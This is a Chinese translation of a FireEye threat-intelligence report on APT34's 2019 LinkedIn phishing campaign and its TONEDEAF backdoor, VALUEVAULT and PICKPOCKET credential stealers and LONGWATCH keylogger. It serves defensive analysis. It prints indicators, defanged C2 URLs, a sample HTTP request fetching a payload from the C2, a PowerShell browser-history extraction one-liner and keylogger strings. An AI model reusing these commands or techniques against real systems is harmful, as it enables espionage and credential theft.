背景
APT34被认为是一个为伊朗的国家利益服务的黑客组织,主要侧重于网络间谍活动,至少从2014年开始就一直处于活跃状态。这个组织已经广泛地针对各个行业,包括金融、政府、能源、化工和电信,并且主要集中在中东地区。
随着中东地缘政治紧张局势的加剧,伊朗对战略情报的需求也变得越来越迫切。我们预计,伊朗在未来将大幅增加网络间谍活动的规模和范围,且很可能从政客和核心组织入手来填补这一空白。这一点从其恶意软件和基础设施的增长上就可以明显看出。
网络钓鱼行动
在2019年6月下旬,FireEye识别出了一场网络钓鱼行动,并将其归于伊朗威胁组织APT34(又称Oilrig、Cobalt Gypsy),该行动有以下三个关键属性:
· 攻击者伪装成剑桥大学成员的身份以获得受害者信任;
· 使用LinkedIn传递恶意文档;
· 有三类之前未在APT34的武器库中发现的恶意软件。
且本次行动主要针对以下行业:能源和公用事业;政府;油气。
初步分析
2019年6月19日,FireEye Endpoint Security设备上收到了漏洞检测警报。违规应用程序被识别为Microsoft Excel,并由FireEye Endpoint Security的ExploitGuard引擎立即中止。 ExploitGuard具有行为监控,检测和预防功能,可监控应用程序行为,查找威胁行为者用来破坏传统检测机制的各种异常情况。随后可以对违规应用程序进行沙盒化或终止,防止漏洞利用进入下一个编程步骤。
Managed Defense SOC分析了警报,并识别出位于C:\ Users \ <user_name> \.templates中的名为System.doc(MD5:b338baa673ac007d7af54075ea69660b)的恶意文件。文件System.doc的本质上是Windows可移植可执行文件(PE)。FireEye将这类新恶意软件确定为TONEDEAF。
TONEDEAF是一个后门,使用HTTP GET和POST请求与单个C2服务器通信,支持收集系统信息、上传和下载文件以及任意shell命令执行。执行时,TONEDEAF将加密数据写入两个临时文件temp.txt和temp2.txt,这两个文件在执行时位于同一个目录中。我们将在本文附录中探讨TONEDEAF的其他技术细节。
回溯到攻击检测之前的步骤,FireEye发现System.doc被一个名为ERFT-Details.xls的文件植入,并找到了ERFT-Details.xls文件的链接:http://www.cam-research-ac [.] com / Documents / ERFT-Details.xls。网络证据显示在该表格下载之前受害者还访问了LinkedIn的消息。与受害者联系后我们得知,文件确实是是通过LinkedIn消息收到的,攻击者伪装成“剑桥大学研究人员”的应聘者“Rebecca Watts”。图1显示了Watts女士的求职留言。
图1:链接实际引导向TONEDEAF
这不是我们第一次看到APT34在各类行动中伪装成学术人员求职的样子,对话通常发生在社交媒体平台上,如果目标组织将重点放在电子邮件防御上,那么社交媒体平台可能就是一种有效的传递机制。
FireEye检查了原始文件ERFT-Details.xls,该文件至少有两个唯一的MD5文件哈希值:
· 96feed478c347d4b95a8224de26a1b2c
· caf418cbf6a9c4e93e79d4714d5d3b87
文件是base64编码的,打开后会在目标目录中创建System.doc,用于创建的VBA代码片段如图2所示。
图2:System.doc中的VBA代码片段
此Excel文档还会创建一个名为“windows update check”的计划任务,每分钟运行文件C:\Users\<user_name>\.templates\System Manager.exe一次,最后的VBA函数会将System.doc重命名为System Manager.exe。创建计划任务、模糊处理以避免简单检测的VBA代码片段如图3所示。
图3:System.doc中的其他VBA代码
首次执行TONEDEAF时,FireEye通过端口80确定了对C2服务器offlineearthquake [.] com的回调。
进一步挖掘
在确定offlineearthquake [.] com作为潜在C2域后,FireEye在可见范围内进行了更广泛的搜索,并发现了另外两个在该域上的恶意软件,分别名为VALUEVAULT和LONGWATCH,还确定了PICKPOCKET(一种浏览器凭证盗窃工具)的一种变体。
对offlineéarthquake[.] com的请求可以采取多种形式,具体取决于恶意软件的安装和目的。此外,在安装过程中,恶意软件会检索系统和当前用户名,这些用户名用于创建三个字符的“sys_id”。此值用于后续请求,可能会跟踪受感染的目标活动。网址的结构如下:
· hxxp[://]offlineearthquake[.]com/download?id=<sys_id>&n=000
· hxxp[://]offlineearthquake[.]com/upload?id=<sys_id>&n=000
· hxxp[://]offlineearthquake[.]com/file/<sys_id>/<executable>?id=<cmd_id>&h=000
· hxxp[://]offlineearthquake[.]com/file/<sys_id>/<executable>?id=<cmd_id>&n=000
在C2上识别的第一个可执行文件是WinNTProgram.exe(MD5:021a0f57fe09116a43c27e5133a57a0a),FireEye标识为LONGWATCH。 LONGWATCH是一个键盘记录器,可以将键盘记录输出到Window的临时文件夹中的log.txt文件。 有关LONGWATCH的更多信息,请参阅帖子末尾的恶意软件附录部分。
检索VALUEVAULT的HTTP流量片段如下所示:
GET hxxp://offlineearthquake.com/file/<sys_id>/b.exe?id=<3char_redacted>&n=000 User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) AppleWebKit/537.36 (KHTML, like Gecko) Host: offlineearthquake[.]com Proxy-Connection: Keep-Alive Pragma: no-cache HTTP/1.1 FireEye将b.exe(MD5:9fff498b78d9498b33e08b892148135f)标识为VALUEVAULT。
VALUEVAULT是来自Massimiliano Montoro的"Windows Vault Password Dumper"浏览器凭据窃取工具的Golang版本,允许操作人员提取和查看存储在Windows Vault中的凭据,此外VALUEVAULT将调用Windows PowerShell来提取浏览器历史记录,以便将浏览器密码与访问过的站点匹配。有关VALUEVAULT的更多信息,请参见下面的附录。
另外两个附加文件分别是PE86.dll(MD5:d8abe843db508048b4d4db748f92a103)和PE64.dll(MD5:6eca9c2b7cf12c247032aae28419319e),它们分别是恶意软件PICKPOCKET的64位和32位变体。
PICKPOCKET是一种凭据窃取工具,可将用户的网站登录凭据从Chrome,Firefox和Internet Explorer转储到文件中。此工具之前曾在2018年的Mandiant事件响应中观察到,迄今为止仅由APT34使用。
结论
我们有理由相信APT34在未来的威胁行动中还会运用到更多工作,建议相关组织在防御上能下足功夫,保持警惕。
恶意软件附录
TONEDEAF
TONEDEAF是一个后门,使用HTTP或DNS与命令和控制服务器通信。支持的命令包括系统信息收集、文件上传、文件下载和任意shell命令执行。尽管此后门被编码为能够与硬编码的C2服务器 c[.]cdn-edge-akamai[.]com的DNS请求进行通信,但目前还未配置此功能的使用。图5展示了dns_exfil的程序集CALL指令的片段。创建者可能将此作为作为Plan B,用于未来DNS渗透的一种手段。
图4:TONEDEAF二进制代码片段
除了未在此样本中启用外,DNS隧道功能还有缺失值的错误,使之不能正确执行,比如其中一个错误就在没有考虑Unicode字符串的情况下确定了命令响应字符串的长度。因此当恶意软件执行返回Unicode输出的shell命令时,会发送单个命令响应字节。
VALUEVAULT
VALUEVAULT是Golang版的浏览器凭据窃取工具,其调用Windows PowerShell来提取浏览器历史记录的函数部分片断如下所示:
powershell.exe /c "function get-iehistory {. [CmdletBinding()]. param (). . $shell = New-Object -ComObject Shell.Application. $hist = $shell.NameSpace(34). $folder = $hist.Self. . $hist.Items() | . foreach {. if ($_.IsFolder) {. $siteFolder = $_.GetFolder. $siteFolder.Items() | . foreach {. $site = $_. . if ($site.IsFolder) {. $pageFolder = $site.GetFolder. $pageFolder.Items() | . foreach {. $visit = New-Object -TypeName PSObject -Property @{ . URL = $($pageFolder.GetDetailsOf($_,0)) . }. $visit. }. }. }. }. }. }. get-iehistory
执行时,VALUEVAULT在AppData \ Roaming目录下的执行帐户的上下文中创建一个SQLITE数据库文件,名为fsociety.dat,VALUEVAULT将以SQL格式将转储的密码写入此文件。图7显示了fsociety.dat文件的SQL格式。
图5:VALUEVAULT fsociety.dat SQLite数据库的SQL格式
VALUEVAULT的函数名没有混淆,在字符串分析中可以直接查看。其他开发人员环境变量可以直接在二进制文件中使用,如下所示。VALUEVAULT不具备执行网络通信的能力,这意味着操作人员需要手动检索工具捕获的输出。
执行VALUEVAULT时提取的Golang文件如下:
C:/Users/<redacted>/Desktop/projects/go/src/browsers-password-cracker/new_edge.go C:/Users/<redacted>/Desktop/projects/go/src/browsers-password-cracker/mozila.go C:/Users/<redacted>/Desktop/projects/go/src/browsers-password-cracker/main.go C:/Users/<redacted>/Desktop/projects/go/src/browsers-password-cracker/ie.go C:/Users/<redacted>/Desktop/projects/go/src/browsers-password-cracker/Chrome Password Recovery.go
LONGWATCH
LONGWATCH是域offlineearthquake[.]com上的二进制文件WinNTProgram.exe (MD5:021a0f57fe09116a43c27e5133a57a0a)。它的主要功能是键盘记录程序,能把键盘记录输出到到Windows temp文件夹中的log.txt文件中。
标识的一些键如下:
GetAsyncKeyState >---------------------------------------------------\n\n c:\\windows\\temp\\log.txt [ENTER] [CapsLock] [CRTL] [PAGE_UP] [PAGE_DOWN] [HOME] [LEFT] [RIGHT] [DOWN] [PRINT] [PRINT SCREEN] (1 space) [INSERT] [SLEEP] [PAUSE] \n---------------CLIPBOARD------------\n \n\n >>> (2 spaces) c:\\windows\\temp\\log.txt
本文翻译自:https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html如若转载,请注明原文地址: https://www.4hou.com/web/19359.html